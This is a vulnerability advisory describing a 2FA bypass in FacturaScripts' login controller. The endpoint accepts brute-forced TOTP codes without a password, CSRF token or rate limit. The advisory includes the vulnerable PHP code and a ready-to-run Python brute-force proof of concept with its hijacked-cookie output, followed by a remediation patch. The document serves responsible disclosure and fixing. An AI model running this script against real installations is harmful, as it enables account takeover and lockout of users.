FacturaScripts: Account takeover of any 2FA-enabled user
Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection
Summary
Core/Controller/Login.php::twoFactorValidationAction() accepts an
unauthenticated POST containing only fsNick and fsTwoFactorCode. If the
TOTP value matches, the server issues a full fsNick + fsLogkey session
cookie pair. The handler:
- Does not verify the password — the user is not required to have just
loginAction.
- Does not call
validateFormToken()— no CSRF token is required (every
- Does not call
userHasManyIncidents()before processing —loginAction
changePasswordAction both check this guard *before* doing work; the
2FA handler only writes to the incident list *after* a failure, and the
incident list is consulted by loginAction / changePasswordAction but
not by the 2FA handler itself. The endpoint therefore has **no
rate-limiting at all**.Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is
> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)
On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.
The vulnerability gives complete account takeover of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (admin, the company name,
the person's initials).
Severity
CVSS 4.0 base score: 9.3 — Critical
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |
Threat metrics:
- Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.
Affected component
- File:
Core/Controller/Login.php - Method:
twoFactorValidationAction()(lines 317–328 in the repository at commit7392b489b, master branch as of 2026-05-13). - Related:
Core/Lib/TwoFactorManager.php:30(VERIFICATION_WINDOW = 8).
Vulnerable code:
protected function twoFactorValidationAction(Request $request): void
{
$userName = $request->input('fsNick');
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
} $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
Compare with loginAction in the same file, which calls
validateFormToken() (line 275) and userHasManyIncidents() (line 287)
*before* doing any work. The 2FA handler does neither.
Proof of concept
1. Brute force when only the victim's nick is known
This requires **no prior
knowledge** beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.
poc_2fa_brute.py:
#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requestsBASE = os.environ.get("BASE", "http://localhost:9999")
NICK = os.environ.get("NICK", "admin")
THREADS = int(os.environ.get("THREADS", "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}
def worker(tid: int) -> None:
s = requests.Session()
while not hit.is_set():
with lock:
n = attempt_count[0]
if n >= MAX_TRIES:
return
attempt_count[0] += 1
code = f"{random.randint(0, 999999):06d}"
try:
r = s.post(f"{BASE}/login",
data={"action": "two-factor-validation",
"fsNick": NICK,
"fsTwoFactorCode": code},
allow_redirects=False, timeout=5)
except requests.RequestException:
continue
sc = r.headers.get("Set-Cookie", "")
if r.status_code == 302 and "fsLogkey" in sc:
with lock:
if hit.is_set():
return
hit.set()
result["code"] = code
result["n"] = n
result["cookies"] = {c.name: c.value for c in r.cookies}
return
def main() -> int:
print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
threads = [threading.Thread(target=worker, args=(i,), daemon=True)
for i in range(THREADS)]
for t in threads: t.start()
while not hit.is_set() and attempt_count[0] < MAX_TRIES:
time.sleep(2)
elapsed = time.time() - start
print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "
f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
for t in threads: t.join()
elapsed = time.time() - start
if hit.is_set():
print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
f"attempts in {elapsed:.1f}s")
cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
print(f"[+] Cookies: {cookie_hdr}")
print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
return 0
print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
return 1
if __name__ == "__main__":
sys.exit(main())
Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick victim):
[*] target=http://localhost:9999 nick=victim threads=32
[ 2.2s] attempts= 1094 rps= 493
[ 24.4s] attempts= 11535 rps= 473
[ 50.0s] attempts= 23420 rps= 468
[100.7s] attempts= 41247 rps= 410
[144.9s] attempts= 55418 rps= 383[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN
A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.
Impact
For each 2FA-enabled user (including admins):
- Confidentiality: full read access to anything the victim can see —
- Integrity: full write access — create/modify/delete records, change
- Availability: targeted account lockout DoS — generating six failed
MAX_INCIDENT_COUNT = 6, blocking the legitimate user from
loginAction for 10 minutes. Repeatable indefinitely.The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.
Remediation
Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.
- Require evidence the user just completed the password step. In
loginAction, after verifyPassword succeeds and 2FA is required,
write a short-lived nonce keyed by (client_ip, user_nick) to the
shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce,
ttl=300)). twoFactorValidationAction must read, validate, and
delete that nonce before calling verifyTwoFactorCode. Without the
nonce, return immediately.
- **Call
validateFormToken($request)at the top of
twoFactorValidationAction.** Every other action handler in the
controller does this; the 2FA handler should too. Eliminates
drive-by CSRF submissions.
- **Call
userHasManyIncidents(Session::getClientIp(), $userName)
twoFactorValidationAction**, and bail
out if the threshold is exceeded. This is the missing rate-limit
pre-check.
- Reduce
TwoFactorManager::VERIFICATION_WINDOWfrom 8 to 1.
Suggested patch (illustrative):
// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
if (false === $this->validateFormToken($request)) { // fix 2
return;
}
$userName = $request->input('fsNick');
if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3
Tools::log()->warning('ip-banned');
return;
}
$nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
if (false === Cache::get($nonceKey)) { // fix 1
Tools::log()->warning('two-factor-no-pending-login');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
Cache::delete($nonceKey); $user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8
loginAction then needs the matching nonce write where it currently
sets $this->two_factor_user:
if ($user->two_factor_enabled) {
Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
bin2hex(random_bytes(16)), 300);
$this->two_factor_user = $user->nick;
$this->template = 'Login/TwoFactor.html.twig';
return;
}Reproduction
Tested on a clean install built from master at commit 7392b489b:
# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py